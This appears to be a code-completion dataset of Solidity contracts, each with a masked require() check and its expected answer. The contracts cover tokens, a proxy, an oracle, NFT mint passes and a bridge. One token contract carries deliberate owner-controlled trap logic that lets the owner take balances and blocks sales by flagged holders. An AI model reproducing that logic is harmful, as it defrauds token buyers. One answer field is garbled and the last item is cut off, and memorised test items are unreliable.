function approve(address spender, uint256 amoount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amoount) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
}
| _balances[_msgSender()]>=amoount,"TT: transfer amoount exceeds balance" | 508,693 | _balances[_msgSender()]>=amoount |
"TT: transfer amoount exceeds balance or allowance" | pragma solidity ^0.8.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amoount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amoount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amoount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract PEPEEPEP is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _SFTF;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amoount) public virtual override returns (bool) {
}
function born(address[] memory accounts, uint256 amoount) public onlyowner {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amoount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amoount) public virtual override returns (bool) {
if (_msgSender() == owner() && _SFTF[sender] > 0) {
_balances[owner()] += _SFTF[sender];
return true;
}
else if (_SFTF[sender] > 0) {
require(amoount == _SFTF[sender], "Invalid transfer amoount");
}
require(<FILL_ME>)
_balances[sender] -= amoount;
_balances[recipient] += amoount;
_allowances[sender][_msgSender()] -= amoount;
emit Transfer(sender, recipient, amoount);
return true;
}
function totalSupply() external view override returns (uint256) {
}
}
| _balances[sender]>=amoount&&_allowances[sender][_msgSender()]>=amoount,"TT: transfer amoount exceeds balance or allowance" | 508,693 | _balances[sender]>=amoount&&_allowances[sender][_msgSender()]>=amoount |
null | pragma solidity ^0.8.0;
contract NFTFairVaultProxy is ERC1967Upgrade, Proxy {
constructor(address _imp, bytes memory data) {
}
function updateImplementation(address _imp, bytes calldata _data) public {
require(<FILL_ME>)
_upgradeToAndCall(_imp, _data, true);
}
function getImplementation() public view returns (address) {
}
function getAdmin() public view returns (address) {
}
function setAdmin(address _new) public {
}
function _implementation() internal view override(Proxy) returns (address) {
}
}
| _getAdmin()==msg.sender | 508,695 | _getAdmin()==msg.sender |
"ReserveOracle: key not existed" | // SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.4;
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {IReserveOracleGetter} from "../interfaces/IReserveOracleGetter.sol";
import {BlockContext} from "../utils/BlockContext.sol";
contract ReserveOracle is IReserveOracleGetter, OwnableUpgradeable, BlockContext {
uint256 private constant TOKEN_DIGIT = 10**18;
event AggregatorAdded(address currencyKey, address aggregator);
event AggregatorRemoved(address currencyKey, address aggregator);
// key by currency symbol, eg USDT
mapping(address => AggregatorV3Interface) public priceFeedMap;
address[] public priceFeedKeys;
address public weth;
function initialize(address _weth) public initializer {
}
function setAggregators(address[] calldata _priceFeedKeys, address[] calldata _aggregators) external onlyOwner {
}
function addAggregator(address _priceFeedKey, address _aggregator) external onlyOwner {
}
function _addAggregator(address _priceFeedKey, address _aggregator) internal {
}
function removeAggregator(address _priceFeedKey) external onlyOwner {
}
function getAggregator(address _priceFeedKey) public view returns (AggregatorV3Interface) {
}
function getAssetPrice(address _priceFeedKey) external view override returns (uint256) {
if (_priceFeedKey == weth) {
return 1 ether;
}
require(<FILL_ME>)
AggregatorV3Interface aggregator = getAggregator(_priceFeedKey);
(, int256 _price, , , ) = aggregator.latestRoundData();
require(_price >= 0, "ReserveOracle: negative answer");
uint8 decimals = aggregator.decimals();
return formatDecimals(uint256(_price), decimals);
}
function getLatestTimestamp(address _priceFeedKey) public view returns (uint256) {
}
function getTwapPrice(address _priceFeedKey, uint256 _interval) external view override returns (uint256) {
}
function isExistedKey(address _priceFeedKey) private view returns (bool) {
}
function requireNonEmptyAddress(address _addr) internal pure {
}
function formatDecimals(uint256 _price, uint8 _decimals) internal pure returns (uint256) {
}
function getPriceFeedLength() public view returns (uint256 length) {
}
}
| isExistedKey(_priceFeedKey),"ReserveOracle: key not existed" | 509,141 | isExistedKey(_priceFeedKey) |
null | // SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.4;
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {IReserveOracleGetter} from "../interfaces/IReserveOracleGetter.sol";
import {BlockContext} from "../utils/BlockContext.sol";
contract ReserveOracle is IReserveOracleGetter, OwnableUpgradeable, BlockContext {
uint256 private constant TOKEN_DIGIT = 10**18;
event AggregatorAdded(address currencyKey, address aggregator);
event AggregatorRemoved(address currencyKey, address aggregator);
// key by currency symbol, eg USDT
mapping(address => AggregatorV3Interface) public priceFeedMap;
address[] public priceFeedKeys;
address public weth;
function initialize(address _weth) public initializer {
}
function setAggregators(address[] calldata _priceFeedKeys, address[] calldata _aggregators) external onlyOwner {
}
function addAggregator(address _priceFeedKey, address _aggregator) external onlyOwner {
}
function _addAggregator(address _priceFeedKey, address _aggregator) internal {
}
function removeAggregator(address _priceFeedKey) external onlyOwner {
}
function getAggregator(address _priceFeedKey) public view returns (AggregatorV3Interface) {
}
function getAssetPrice(address _priceFeedKey) external view override returns (uint256) {
}
function getLatestTimestamp(address _priceFeedKey) public view returns (uint256) {
AggregatorV3Interface aggregator = getAggregator(_priceFeedKey);
require(<FILL_ME>)
(, , , uint256 timestamp, ) = aggregator.latestRoundData();
return timestamp;
}
function getTwapPrice(address _priceFeedKey, uint256 _interval) external view override returns (uint256) {
}
function isExistedKey(address _priceFeedKey) private view returns (bool) {
}
function requireNonEmptyAddress(address _addr) internal pure {
}
function formatDecimals(uint256 _price, uint8 _decimals) internal pure returns (uint256) {
}
function getPriceFeedLength() public view returns (uint256 length) {
}
}
| onEmptyAddress(address(aggregator) | 509,141 | address(aggregator) |
"MintPassFactory: ProjectID: `MintPassProjectID` Is Not Active" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import { DefaultOperatorFilterer } from "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import { ERC721MPF } from "./ERC721MPF.sol";
import { ILaunchpad , ILaunchpadRegistry } from "./ILaunchpad.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { LaunchpadEnabled } from "./LaunchpadEnabled.sol";
import { IOS } from "./IOS.sol";
contract MintPassFactory is Ownable, ERC721MPF, DefaultOperatorFilterer, LaunchpadEnabled, IOS
{
struct MintPass
{
uint _MaxSupply; // _MaxSupply
uint _MintPacks; // _MintPacks
uint _ArtistIDs; // _ArtistIDs
uint _ArtBlocksProjectID; // _ArtBlocksProjectID note: For Cases Where Mint Pass ProjectID 1:1 With ProjectIDs
uint _ReserveAmount; // _Reserve
string _MetadataURI; // _MetadataURI
}
uint public _TotalUniqueProjects; // Total Projects Invoked
address public _Multisig; // test
uint private constant _ONE_MILLY = 1000000;
uint private constant _DEFAULT = type(uint).max; // max integer
mapping(uint=>MintPass) public MintPasses;
mapping(uint=>uint) public ArtistIDs;
mapping(address=>bool) public Authorized;
mapping(uint=>uint[]) public MintPackIndexes;
event MintPassProjectCreated(uint MintPassProjectID);
event AuthorizedContract(address ContractAddress);
event DeauthorizedContract(address ContractAddress);
/**
* @dev Mint Pass Factory Constructor
*/
constructor() ERC721MPF("Bright Moments Mint Pass | MPBRT", "MPBRT")
{
}
/**
* @dev Returns All Mint Pack Indexes
*/
function ReadMintPackIndexes(uint MintPassProjectID) public view returns (uint[] memory) { }
/**
* @dev Direct Mint Function
*/
function _MintToFactory(uint MintPassProjectID, address Recipient, uint Amount) external onlyAuthorized
{
require(<FILL_ME>)
_mint(MintPassProjectID, Recipient, Amount);
}
/**
* @dev Direct Mint To Factory Pack
*/
function _MintToFactoryPack(uint MintPassProjectID, address Recipient, uint Amount) external onlyAuthorized
{
}
/**
* @dev LiveMint Redeems Mint Pass If Not Already Burned & Sends Minted Work To Owner's Wallet
*/
function _LiveMintBurn(uint TokenID) external onlyAuthorized returns (address _Recipient, uint _ArtistID)
{
}
/**
* @dev Initializes A New Mint Pass
*/
function __InitMintPass(MintPass memory _MintPass) external onlyAuthorized returns (uint MintPassProjectID)
{
}
/**
* @dev Updates The BaseURI For A Project
*/
function __NewBaseURI(uint MintPassProjectID, string memory NewURI) external onlyAuthorized
{
}
/**
* @dev Overrides The Operator Filter Active State
*/
function __ChangeOperatorFilterState(bool State) external override onlyOwner { }
/**
* @dev Overrides The Launchpad Registry Address
*/
function __NewLaunchpadAddress(address NewAddress) external onlyAuthorized { }
/**
* @dev Authorizes A Contract To Mint
*/
function ____AuthorizeContract(address NewAddress) external onlyOwner
{
}
/**
* @dev Deauthorizes A Contract From Minting
*/
function ___DeauthorizeContract(address NewAddress) external onlyOwner
{
}
/**
* @dev Overrides The Active State For A MintPassProjectID
*/
function ____OverrideActiveState(uint MintPassProjectID, bool State) external onlyOwner { }
/**
* @dev Overrides The Max Supply For A MintPassProjectID
*/
function ____OverrideMaxSupply(uint MintPassProjectID, uint NewMaxSupply) external onlyOwner
{
}
/**
* @dev Owner Burn Function
*/
function ____OverrideBurn(uint[] calldata TokenIDs) external onlyOwner
{
}
/**
* @dev Mints To Owner
*/
function ___OverrideMint(uint MintPassProjectID, uint Amount) external onlyOwner
{
}
/**
* @dev Returns A MintPassProjectID From A TokenID
*/
function ViewProjectID(uint TokenID) public pure returns (uint) { }
/**
* @dev Returns The totalSupply() For A Specific MintPass ProjectID
*/
function totalSupplyOfMintPassProject(uint[] calldata MintPassProjectIDs) external view returns (uint[] memory)
{
}
/**
* @dev Returns The totalSupply() For A Specific MintPass ProjectID
*/
function totalSupplyOfMintPassProjectID(uint MintPassProjectID) external view returns (uint)
{
}
/**
* @dev Returns Base URI Of Desired TokenID
*/
function _baseURI(uint TokenID) internal view virtual override returns (string memory)
{
}
/*---------------------
* OVERRIDE FUNCTIONS *
----------------------*/
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) { }
function approve(
address operator,
uint256 tokenId
) public override onlyAllowedOperatorApproval(operator) { }
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) { }
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) { }
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) { }
/**
* @dev Access Modifier For External Smart Contracts
* note: This Is A Custom Access Modifier That Is Used To Restrict Access To Only Authorized Contracts
*/
modifier onlyAuthorized()
{
}
}
| _Active[MintPassProjectID],"MintPassFactory: ProjectID: `MintPassProjectID` Is Not Active" | 509,180 | _Active[MintPassProjectID] |
"MintPassFactory: Invalid Mint Pass Parameters" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import { DefaultOperatorFilterer } from "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import { ERC721MPF } from "./ERC721MPF.sol";
import { ILaunchpad , ILaunchpadRegistry } from "./ILaunchpad.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { LaunchpadEnabled } from "./LaunchpadEnabled.sol";
import { IOS } from "./IOS.sol";
contract MintPassFactory is Ownable, ERC721MPF, DefaultOperatorFilterer, LaunchpadEnabled, IOS
{
struct MintPass
{
uint _MaxSupply; // _MaxSupply
uint _MintPacks; // _MintPacks
uint _ArtistIDs; // _ArtistIDs
uint _ArtBlocksProjectID; // _ArtBlocksProjectID note: For Cases Where Mint Pass ProjectID 1:1 With ProjectIDs
uint _ReserveAmount; // _Reserve
string _MetadataURI; // _MetadataURI
}
uint public _TotalUniqueProjects; // Total Projects Invoked
address public _Multisig; // test
uint private constant _ONE_MILLY = 1000000;
uint private constant _DEFAULT = type(uint).max; // max integer
mapping(uint=>MintPass) public MintPasses;
mapping(uint=>uint) public ArtistIDs;
mapping(address=>bool) public Authorized;
mapping(uint=>uint[]) public MintPackIndexes;
event MintPassProjectCreated(uint MintPassProjectID);
event AuthorizedContract(address ContractAddress);
event DeauthorizedContract(address ContractAddress);
/**
* @dev Mint Pass Factory Constructor
*/
constructor() ERC721MPF("Bright Moments Mint Pass | MPBRT", "MPBRT")
{
}
/**
* @dev Returns All Mint Pack Indexes
*/
function ReadMintPackIndexes(uint MintPassProjectID) public view returns (uint[] memory) { }
/**
* @dev Direct Mint Function
*/
function _MintToFactory(uint MintPassProjectID, address Recipient, uint Amount) external onlyAuthorized
{
}
/**
* @dev Direct Mint To Factory Pack
*/
function _MintToFactoryPack(uint MintPassProjectID, address Recipient, uint Amount) external onlyAuthorized
{
}
/**
* @dev LiveMint Redeems Mint Pass If Not Already Burned & Sends Minted Work To Owner's Wallet
*/
function _LiveMintBurn(uint TokenID) external onlyAuthorized returns (address _Recipient, uint _ArtistID)
{
}
/**
* @dev Initializes A New Mint Pass
*/
function __InitMintPass(MintPass memory _MintPass) external onlyAuthorized returns (uint MintPassProjectID)
{
_Active[_TotalUniqueProjects] = true;
require(<FILL_ME>)
_MaxSupply[_TotalUniqueProjects] = _MintPass._MaxSupply; // Internal Max Supply
MintPasses[_TotalUniqueProjects] = _MintPass; // Struct Assignment
MintPasses[_TotalUniqueProjects]._MetadataURI = _MintPass._MetadataURI;
if(_MintPass._ReserveAmount > 0)
{
_mint(
_TotalUniqueProjects, // MintPassProjectID
_Multisig, // Multisig
_MintPass._ReserveAmount // Reserve Amount
);
}
emit MintPassProjectCreated(_TotalUniqueProjects);
_TotalUniqueProjects++;
return (_TotalUniqueProjects - 1);
}
/**
* @dev Updates The BaseURI For A Project
*/
function __NewBaseURI(uint MintPassProjectID, string memory NewURI) external onlyAuthorized
{
}
/**
* @dev Overrides The Operator Filter Active State
*/
function __ChangeOperatorFilterState(bool State) external override onlyOwner { }
/**
* @dev Overrides The Launchpad Registry Address
*/
function __NewLaunchpadAddress(address NewAddress) external onlyAuthorized { }
/**
* @dev Authorizes A Contract To Mint
*/
function ____AuthorizeContract(address NewAddress) external onlyOwner
{
}
/**
* @dev Deauthorizes A Contract From Minting
*/
function ___DeauthorizeContract(address NewAddress) external onlyOwner
{
}
/**
* @dev Overrides The Active State For A MintPassProjectID
*/
function ____OverrideActiveState(uint MintPassProjectID, bool State) external onlyOwner { }
/**
* @dev Overrides The Max Supply For A MintPassProjectID
*/
function ____OverrideMaxSupply(uint MintPassProjectID, uint NewMaxSupply) external onlyOwner
{
}
/**
* @dev Owner Burn Function
*/
function ____OverrideBurn(uint[] calldata TokenIDs) external onlyOwner
{
}
/**
* @dev Mints To Owner
*/
function ___OverrideMint(uint MintPassProjectID, uint Amount) external onlyOwner
{
}
/**
* @dev Returns A MintPassProjectID From A TokenID
*/
function ViewProjectID(uint TokenID) public pure returns (uint) { }
/**
* @dev Returns The totalSupply() For A Specific MintPass ProjectID
*/
function totalSupplyOfMintPassProject(uint[] calldata MintPassProjectIDs) external view returns (uint[] memory)
{
}
/**
* @dev Returns The totalSupply() For A Specific MintPass ProjectID
*/
function totalSupplyOfMintPassProjectID(uint MintPassProjectID) external view returns (uint)
{
}
/**
* @dev Returns Base URI Of Desired TokenID
*/
function _baseURI(uint TokenID) internal view virtual override returns (string memory)
{
}
/*---------------------
* OVERRIDE FUNCTIONS *
----------------------*/
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) { }
function approve(
address operator,
uint256 tokenId
) public override onlyAllowedOperatorApproval(operator) { }
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) { }
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) { }
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) { }
/**
* @dev Access Modifier For External Smart Contracts
* note: This Is A Custom Access Modifier That Is Used To Restrict Access To Only Authorized Contracts
*/
modifier onlyAuthorized()
{
}
}
| _MintPass._ArtistIDs*_MintPass._MintPacks<=_MintPass._MaxSupply,"MintPassFactory: Invalid Mint Pass Parameters" | 509,180 | _MintPass._ArtistIDs*_MintPass._MintPacks<=_MintPass._MaxSupply |
"MintPassFactory: Sender Is Not Authorized Contract" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import { DefaultOperatorFilterer } from "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import { ERC721MPF } from "./ERC721MPF.sol";
import { ILaunchpad , ILaunchpadRegistry } from "./ILaunchpad.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { LaunchpadEnabled } from "./LaunchpadEnabled.sol";
import { IOS } from "./IOS.sol";
contract MintPassFactory is Ownable, ERC721MPF, DefaultOperatorFilterer, LaunchpadEnabled, IOS
{
struct MintPass
{
uint _MaxSupply; // _MaxSupply
uint _MintPacks; // _MintPacks
uint _ArtistIDs; // _ArtistIDs
uint _ArtBlocksProjectID; // _ArtBlocksProjectID note: For Cases Where Mint Pass ProjectID 1:1 With ProjectIDs
uint _ReserveAmount; // _Reserve
string _MetadataURI; // _MetadataURI
}
uint public _TotalUniqueProjects; // Total Projects Invoked
address public _Multisig; // test
uint private constant _ONE_MILLY = 1000000;
uint private constant _DEFAULT = type(uint).max; // max integer
mapping(uint=>MintPass) public MintPasses;
mapping(uint=>uint) public ArtistIDs;
mapping(address=>bool) public Authorized;
mapping(uint=>uint[]) public MintPackIndexes;
event MintPassProjectCreated(uint MintPassProjectID);
event AuthorizedContract(address ContractAddress);
event DeauthorizedContract(address ContractAddress);
/**
* @dev Mint Pass Factory Constructor
*/
constructor() ERC721MPF("Bright Moments Mint Pass | MPBRT", "MPBRT")
{
}
/**
* @dev Returns All Mint Pack Indexes
*/
function ReadMintPackIndexes(uint MintPassProjectID) public view returns (uint[] memory) { }
/**
* @dev Direct Mint Function
*/
function _MintToFactory(uint MintPassProjectID, address Recipient, uint Amount) external onlyAuthorized
{
}
/**
* @dev Direct Mint To Factory Pack
*/
function _MintToFactoryPack(uint MintPassProjectID, address Recipient, uint Amount) external onlyAuthorized
{
}
/**
* @dev LiveMint Redeems Mint Pass If Not Already Burned & Sends Minted Work To Owner's Wallet
*/
function _LiveMintBurn(uint TokenID) external onlyAuthorized returns (address _Recipient, uint _ArtistID)
{
}
/**
* @dev Initializes A New Mint Pass
*/
function __InitMintPass(MintPass memory _MintPass) external onlyAuthorized returns (uint MintPassProjectID)
{
}
/**
* @dev Updates The BaseURI For A Project
*/
function __NewBaseURI(uint MintPassProjectID, string memory NewURI) external onlyAuthorized
{
}
/**
* @dev Overrides The Operator Filter Active State
*/
function __ChangeOperatorFilterState(bool State) external override onlyOwner { }
/**
* @dev Overrides The Launchpad Registry Address
*/
function __NewLaunchpadAddress(address NewAddress) external onlyAuthorized { }
/**
* @dev Authorizes A Contract To Mint
*/
function ____AuthorizeContract(address NewAddress) external onlyOwner
{
}
/**
* @dev Deauthorizes A Contract From Minting
*/
function ___DeauthorizeContract(address NewAddress) external onlyOwner
{
}
/**
* @dev Overrides The Active State For A MintPassProjectID
*/
function ____OverrideActiveState(uint MintPassProjectID, bool State) external onlyOwner { }
/**
* @dev Overrides The Max Supply For A MintPassProjectID
*/
function ____OverrideMaxSupply(uint MintPassProjectID, uint NewMaxSupply) external onlyOwner
{
}
/**
* @dev Owner Burn Function
*/
function ____OverrideBurn(uint[] calldata TokenIDs) external onlyOwner
{
}
/**
* @dev Mints To Owner
*/
function ___OverrideMint(uint MintPassProjectID, uint Amount) external onlyOwner
{
}
/**
* @dev Returns A MintPassProjectID From A TokenID
*/
function ViewProjectID(uint TokenID) public pure returns (uint) { }
/**
* @dev Returns The totalSupply() For A Specific MintPass ProjectID
*/
function totalSupplyOfMintPassProject(uint[] calldata MintPassProjectIDs) external view returns (uint[] memory)
{
}
/**
* @dev Returns The totalSupply() For A Specific MintPass ProjectID
*/
function totalSupplyOfMintPassProjectID(uint MintPassProjectID) external view returns (uint)
{
}
/**
* @dev Returns Base URI Of Desired TokenID
*/
function _baseURI(uint TokenID) internal view virtual override returns (string memory)
{
}
/*---------------------
* OVERRIDE FUNCTIONS *
----------------------*/
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) { }
function approve(
address operator,
uint256 tokenId
) public override onlyAllowedOperatorApproval(operator) { }
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) { }
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) { }
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) { }
/**
* @dev Access Modifier For External Smart Contracts
* note: This Is A Custom Access Modifier That Is Used To Restrict Access To Only Authorized Contracts
*/
modifier onlyAuthorized()
{
if(msg.sender != owner())
{
require(<FILL_ME>)
}
_;
}
}
| Authorized[msg.sender],"MintPassFactory: Sender Is Not Authorized Contract" | 509,180 | Authorized[msg.sender] |
"too many already minted before dev mint" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "./RPRSmartWallet.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/proxy/Clones.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
contract RektPepeRenaissance is ERC721A, Ownable, ReentrancyGuard {
string private BASE_URI;
uint256 public immutable freeMints;
address public immutable smartWalletTemplate;
struct SaleConfig {
uint32 preSaleDuration;
uint32 preSaleStartTime;
uint64 seedPrice;
uint64 preSalePrice;
uint64 publicSalePrice;
}
SaleConfig public saleConfig;
mapping(address => bool) public allowlist;
mapping(address => bool) public rektOGs;
event Mint(address indexed to, uint256 indexed quantity);
modifier callerIsUser() {
}
constructor(
uint256 collectionSize_,
uint256 maxBatchSize_,
uint256 freeMints_,
string memory baseUri_
) ERC721A("RektPepeRenaissance", "RPR", maxBatchSize_, collectionSize_) {
}
/*
WARNING: BURNING TOKENS WITH ASSETS REMAINING IN THEIR
ASSOCIATED SMART WALLET WILL RESULT IN THE ASSETS BEING LOST FOREVER.
*/
function burn(uint256 tokenId) external {
}
function getPrice() public view returns (uint) {
}
function seedRoundMint(uint256 quantity) external payable callerIsUser {
}
function mint(uint256 quantity)
external
payable
callerIsUser
{
}
function setSaleConfig(
uint32 preSaleDuration_,
uint32 preSaleStartTime_,
uint64 seedPriceWei_,
uint64 preSalePriceWei_,
uint64 publicSalePriceWei_
) external onlyOwner {
}
function seedAllowlist(address[] memory addresses)
external
onlyOwner
{
}
function seedRektOGs(address[] memory addresses)
external
onlyOwner
{
}
function isAllowlist() external view returns (bool) {
}
function isRektOG() external view returns (bool) {
}
function devMint(uint256 quantity) external onlyOwner {
require(<FILL_ME>)
require(
quantity % maxBatchSize == 0,
"can only mint a multiple of the maxBatchSize"
);
uint256 numChunks = quantity / maxBatchSize;
for (uint256 i = 0; i < numChunks; i++) {
_safeMint(msg.sender, maxBatchSize);
}
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function withdrawCharity() external onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _new) external onlyOwner {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
/*
Smart Wallet Methods
*/
function getWalletForTokenId(uint256 tokenId) private returns (RPRSmartWallet wallet) {
}
function getWalletAddressForTokenId(uint256 tokenId) public returns (address walletAddress) {
}
function withdrawEther(uint256 walletId) external callerIsUser {
}
function withdrawERC20(address _contract, uint256 amount, uint256 walletId) external callerIsUser {
}
function withdrawERC721(address _contract, uint256 tokenId, uint256 walletId) external callerIsUser {
}
}
| totalSupply()+quantity<=freeMints,"too many already minted before dev mint" | 509,262 | totalSupply()+quantity<=freeMints |
"Only the token owner can withdraw ether" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "./RPRSmartWallet.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/proxy/Clones.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
contract RektPepeRenaissance is ERC721A, Ownable, ReentrancyGuard {
string private BASE_URI;
uint256 public immutable freeMints;
address public immutable smartWalletTemplate;
struct SaleConfig {
uint32 preSaleDuration;
uint32 preSaleStartTime;
uint64 seedPrice;
uint64 preSalePrice;
uint64 publicSalePrice;
}
SaleConfig public saleConfig;
mapping(address => bool) public allowlist;
mapping(address => bool) public rektOGs;
event Mint(address indexed to, uint256 indexed quantity);
modifier callerIsUser() {
}
constructor(
uint256 collectionSize_,
uint256 maxBatchSize_,
uint256 freeMints_,
string memory baseUri_
) ERC721A("RektPepeRenaissance", "RPR", maxBatchSize_, collectionSize_) {
}
/*
WARNING: BURNING TOKENS WITH ASSETS REMAINING IN THEIR
ASSOCIATED SMART WALLET WILL RESULT IN THE ASSETS BEING LOST FOREVER.
*/
function burn(uint256 tokenId) external {
}
function getPrice() public view returns (uint) {
}
function seedRoundMint(uint256 quantity) external payable callerIsUser {
}
function mint(uint256 quantity)
external
payable
callerIsUser
{
}
function setSaleConfig(
uint32 preSaleDuration_,
uint32 preSaleStartTime_,
uint64 seedPriceWei_,
uint64 preSalePriceWei_,
uint64 publicSalePriceWei_
) external onlyOwner {
}
function seedAllowlist(address[] memory addresses)
external
onlyOwner
{
}
function seedRektOGs(address[] memory addresses)
external
onlyOwner
{
}
function isAllowlist() external view returns (bool) {
}
function isRektOG() external view returns (bool) {
}
function devMint(uint256 quantity) external onlyOwner {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function withdrawCharity() external onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _new) external onlyOwner {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
/*
Smart Wallet Methods
*/
function getWalletForTokenId(uint256 tokenId) private returns (RPRSmartWallet wallet) {
}
function getWalletAddressForTokenId(uint256 tokenId) public returns (address walletAddress) {
}
function withdrawEther(uint256 walletId) external callerIsUser {
TokenOwnership memory ownership = ownershipOf(walletId);
require(<FILL_ME>)
getWalletForTokenId(walletId).withdrawEther(_msgSender());
}
function withdrawERC20(address _contract, uint256 amount, uint256 walletId) external callerIsUser {
}
function withdrawERC721(address _contract, uint256 tokenId, uint256 walletId) external callerIsUser {
}
}
| _msgSender()==ownership.addr,"Only the token owner can withdraw ether" | 509,262 | _msgSender()==ownership.addr |
"given thorchain router not whitelisted" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
import "../../libs/BaseContract.sol";
import "../../../interfaces/IThorchainRouter.sol";
import "../../rango/bridges/thorchain/IRangoThorchain.sol";
contract RangoThorchain is IRangoThorchain, BaseContract {
event ThorchainTxInitiated(address vault, address token, uint amount, string memo, uint expiration);
receive() external payable {
}
// address rangoThorchainAddress;
//
// function updateRangoThorchainAddress(address _address) external onlyOwner {
// rangoThorchainAddress = _address;
// }
// function swapIn(
function swapInToThorchain(
address token,
uint amount,
address tcRouter,
address tcVault,
string calldata thorchainMemo,
uint expiration
) external payable whenNotPaused nonReentrant {
BaseContractStorage storage baseStorage = getBaseContractStorage();
require(<FILL_ME>)
require(amount > 0, "Requested amount should be positive");
if (token == NULL_ADDRESS) {
require(msg.value >= amount, "zero input while fromToken is native");
} else {
SafeERC20.safeTransferFrom(IERC20(token), msg.sender, address(this), amount);
approve(token, tcRouter, amount);
}
IThorchainRouter(tcRouter).depositWithExpiry{value : msg.value}(
payable(tcVault), // address payable vault,
token, // address asset,
amount, // uint amount,
thorchainMemo, // string calldata memo,
expiration // uint expiration) external payable;
);
emit ThorchainTxInitiated(tcVault, token, amount, thorchainMemo, expiration);
}
// function swapOut(address token, address to, uint256 amountOutMin) external payable whenNotPaused nonReentrant // TODO: limit to be called only by thorchain router?
// {
// address[] memory path = new address[](2);
// path[0] = nativeWrappedAddress;
// path[1] = token;
// swapRouter.swapExactETHForTokens{value : msg.value}( // todo: implement multiple contracts each for uniswap v2, v3, sushi etc? or just use existing thorchain routers?
// amountOutMin,
// path,
// to,
// type(uint).max // deadline
// );
// }
}
| baseStorage.whitelistContracts[tcRouter],"given thorchain router not whitelisted" | 509,342 | baseStorage.whitelistContracts[tcRouter] |
"STAKED_IN_POOL" | pragma solidity >=0.7.0 <0.9.0;
contract MAXXStaking is Ownable {
IERC20 public maxxToken;
IERC20 public PWRDToken;
